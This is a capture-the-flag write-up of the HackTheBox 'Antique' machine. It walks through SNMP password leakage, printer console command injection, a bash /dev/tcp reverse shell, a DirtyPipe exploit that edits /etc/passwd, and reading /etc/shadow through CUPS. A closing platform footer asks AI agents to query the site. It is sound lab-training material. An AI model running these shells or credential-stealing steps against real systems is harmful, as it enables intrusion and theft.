> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/antique-hackthebox-writeup.md). # Antique HackTheBox Writeup Antique HackTheBox Easy Linux machine writeup covering SNMP Enumeration, Network Printer Abuse, CUPS Administration Exploitation (ErrorLog), EXTRA -> (DirtyPipe) (CVE-2022-0847], with practical enumer {% embed url="" %} {% hint style="warning" %} Skills: * SNMP Enumeration * Network Printer Abuse * CUPS Administration Exploitation (ErrorLog) * EXTRA -> (DirtyPipe) (CVE-2022-0847] {% endhint %} ## Reconnaissance **Workspace Setup:** We will establish our workspace by creating three folders to store important content, exploits and reconnaissance results using Nmap
**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.
### Scan TCP: Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS -n -Pn -vvv -min-rate 5000 10.10.11.107 -oG allPorts ```
**Open Port Analysis with extractPorts:** Use the extractPorts function to display open ports in a concise format and copy them to the clipboard (23.7777)
**Port Version Scan with Nmap:** Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p23,7777 10.10.11.107 -oN targeted ```
### Scan UDP: **Open Port Discovery with Nmap:** We also perform a scan on UDP ports with **Nmap**: ```bash nmap -sU --open -vvv -n 10.10.11.107 -oG allPortsUDP ``` We extract the results again with `extractPorts`, and we observe the opening of port **161**, used by SNMP.:
## Exploring Services ### Port 23 (Telnet) – HP JetDirect When trying to connect on port **23** via **Telnet**, we encounter an HP JetDirect service that asks us for a password. We can try to connect with: ```bash nc -vn 10.10.11.107 23 ```
### Port 161 (SNMP) {% embed url="" %} We use **snmpbulkwalk** to enumerate the SNMP services exposed on port **161**: ```bash snmpbulkwalk -c public -v2c 10.10.11.107 . ```
```bash 50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135 ``` This gives us a hexadecimal character string which we convert to ASCII to obtain the readable content: {% code overflow="wrap" %} ```bash echo "50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135" | xxd -ps -r ``` {% endcode %}
This channel contains some interesting information, but nothing immediately useful for exploitation. ```bash nc -vn 10.10.11.107 23 P@ssw0rd@123!!123 ```
When attempting to inject a string as a password on port 23 (JetDirect), we use attempts such as: ```bash P@ssw0rd@123!!123 ```
## Network Printer Abuse We have detected that it is possible to execute commands through the network printer. Exploitation of this vulnerability relies on the `exec` command which allows remote commands to be injected. For example: ```bash exec id ```
This returns system credentials and allows other commands to be executed. **Reverse Shell** We establish a reverse shell using **nc** on port **443** of the attacking machine: ```bash nc -nvlp 443 ``` ```bash exec bash -c "bash -i >& /dev/tcp/10.10.14.4/443 0>&1" ```
Next, we manipulate the shell session to gain better control: ```bash python3 -c 'import pty; pty.spawn("/bin/bash")' # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### user.txt flag :)
## Privilege Escalation ## 1. Exploitation DirtyPipe {% embed url="" %} We checked to see if the machine was vulnerable to the DirtyPipe exploit, a bug that allows modification of running system files. We found that the machine had **gcc**, a C compiler, available at location `/usr/bin/gcc`. ```bash lp@antique:/home/lp$ which gcc /usr/bin/gcc ``` Next, we used **Python3** to transfer the exploit from our local machine to the target machine. On our local machine, we launched an HTTP server to host the exploit: ```bash python3 -m http.server ``` On the victim machine, we downloaded the exploit: ```bash wget http://10.10.14.4/exploit.c ```
Once the exploit was recovered, we compiled the C file with **gcc**: ```bash gcc exploit.c -o exploit ``` {% hint style="info" %} The exploit modifies the `/etc/passwd` file by injecting a password hash, and adds a user `aaron` with a specific password, all to enable privilege escalation. {% endhint %}
Finally, just run the script: ```bash ./exploit ``` This allows us to gain `root`/*/* access to the machine
## 2. Port Forwarding with Chisel By inspecting the open ports on the target machine, we found port **631** (used by CUPS). Using the following command, we confirmed the presence of a CUPS service: ```bash netstat -nat ``` The CUPS service is in version **1.6.1** and we have identified that it may be vulnerable. To redirect this port, we used **Chisel**, a tunneling tool.
We first compiled Chisel on our local machine: {% embed url="" %} ```bash go build -ldflags "-s -w" . upx chisel ``` Next, we transferred the Chisel executable to the victim machine via a Python3 HTTP server: ```bash python3 -m http.server 8080 wget http://10.10.14.4:8080/chisel ```
On our machine, we started the Chisel server: ```bash chisel server -p 8888 -reverse ``` Then, on the victim machine, we configured the Chisel client to redirect port 631 to our local machine: ```bash ./chisel client 10.10.14.4:8888 R:631:127.0.0.1:631 ```
This allows us to access the CUPS web interface of the target machine via a secure tunnel. ### Exploitation Vulnerability CUPS 1.6.1 {% embed url="" %} Using **cupsctl**, we modified the **CUPS** service configuration to redirect the **ErrorLog** file to a sensitive file, like **/etc/shadow**. This allows this file to be read as root via the CUPS web interface. Command to modify the configuration: ```bash cupsctl ErrorLog=/etc/shadow ``` We then accessed the CUPS web interface by visiting the following URL on the CUPS server through our tunnel: This made it possible to view the contents of the **/etc/shadow** file and obtain the `root.txt` flag.
### Flag root.txt :)
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/antique-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.